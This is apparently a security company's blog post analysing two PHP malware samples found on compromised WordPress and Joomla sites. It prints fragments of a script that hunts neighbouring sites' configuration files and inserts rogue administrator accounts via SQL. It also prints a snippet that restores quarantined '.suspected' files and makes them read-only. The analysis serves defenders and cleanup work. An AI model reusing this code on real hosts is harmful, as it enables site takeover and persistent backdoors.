Category: Website Malware Infections

The ubiquity of “unlimited” shared hosting platforms has incentivized malware in trying to infect as many adjacent website directories as it can to increase its overall surface area. The more infected the area is, the more likely that at least one piece of malware can evade detection long enough to successfully reinfect the web hosting environment.

When a website is infected or compromised, the malicious user will often times leave a backdoor that can be used to regain unauthorized access to the website or system. A backdoor doesn’t necessarily have to be an existing malicious file; it can also be within a database or running process. A database backdoor could be a shell script included within a row of a table that is loaded on a certain URL. Or in some cases, it can involve an actual user being inserted into a CMS database with full privileges by the malicious user.

I encountered a malicious file that upon execution will go one level above the root of the infected WordPress or Joomla site:

...define('MAX_UP_DIRS' ,10);$counter = 0;while(chdir('..')) {  $counter++;     if($counter > MAX_UP_DIRS) {     break;  }   foreach(glob(getcwd() . '/*') as $file) {      if(strpos($file, 'wp-config.php') !== false      || strpos($file, 'wp-admin') !== false       || strpos($file, 'configuration.php') !== false      || strpos($file, 'administrator') !== false) {           break 2;        }   }}chdir('..');...

From there, it recursively searches all adjacent sites for configuration files.

...foreach ($iter as $path => $dir) {    if ($dir->isDir()) {        $wp_config_file = $path . '/wp-config.php';       $jm_config_file = $path . '/configuration.php';        if(file_exists($wp_config_file)) {         $wp_cfgs[] = $wp_config_file;       }       if(file_exists($jm_config_file)) {          $joomla_cfgs[] = $jm_config_file;       }    }}...

Then it uses information inside the configuration files in order to connect to the database via MySQL and inject a new admin user for all adjacent sites using the following queries:

"INSERT INTO  {$table_prefix}users (ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES($user_id,'$user_name',REDACTED,'$user_name','".$user_name."0985488@mailinator.com','201".rand(0,5)."-0".rand(1,9)."-1".rand(1,9)." 12:00:00',0,'$user_name')";"INSERT INTO  {$table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$table_prefix}capabilities', 'a:1:{s:13:"administrator";b:1;}');";"INSERT INTO  {$table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$table_prefix}user_level', 10);";

The source coding also reveals plans to develop the file so that it has capabilities of targeting Joomla installations (i.e $jm_config_file variable and configuration.php file) and inserting their admin user into Joomla database structures. If the hints in the source code weren’t enough, the author even included a notation of their plans:

#TO DO : JOOMLA!!!

In the end, this file helps to show how malicious users try to automate the task of generating backdoors. While the automated creation of an admin user by malware may seem to be relatively simple and crude, it has shown to be effective enough. For that reason it’s not that uncommon when encountering a compromised WordPress, or really any CMS (Content Management System) installation.

If your sites are affected by this or similar malware, please check our guides:

• How to Clean a Hacked WordPress Site
• How to Clean a Hacked Joomla! Site

Or sign up for our Website AntiVirus service and we will clean and protect your sites.

When webmasters or hosting companies look for malware, they usually search for encrypted code, encoded payloads, suspicious functions and much more. If they happen to find any of those instances, it’s a common practice to either remove or rename the file in question.

If the file being flagged hits a certain amount of suspicious code or raises red flags based on different variables, hosting companies may rename those files from file.php to file.php.suspected (Appending .suspected in the end) - this way the file loses its ability to be interpreted by the webserver. However, sometimes there are backdoors nearby ready to release the prisoners.

The following code was found during an incident response investigation:

<?php
if (file_exists('wp-rmcc.php.suspected')) {
 chmod('wp-rmcc.php.suspected', 0777);
 rename('wp-rmcc.php.suspected','wp-rmcc.php');
}
@chmod("wp-rmcc.php",0444);
?>

Very short, but interesting snippet that checks if the file wp-rmcc.php.suspected exists. If it does, the code changes its permission to 777 and renames it to wp-rmcc.php, therefore allowing the code to be executed again. It also does one more thing. Have you noticed this last short piece of code?

@chmod("wp-rmcc.php",0444);

It sets the permissions for the file read-only to prevent easy removal of the malicious code. Of course the example above is very simple and targeted to only that particular file, but the script could be easily modified to rename all files with the .suspected extension.

Most of the time, attackers will inject malware into different parts of your system to maintain access to the compromised website by having those other small infected files around, even if the obvious backdoor is renamed/blocked. That’s why simply renaming those easy to spot malicious files may not solve the case.

If you need professional help on getting the issues fixed, we’d be happy to assist you!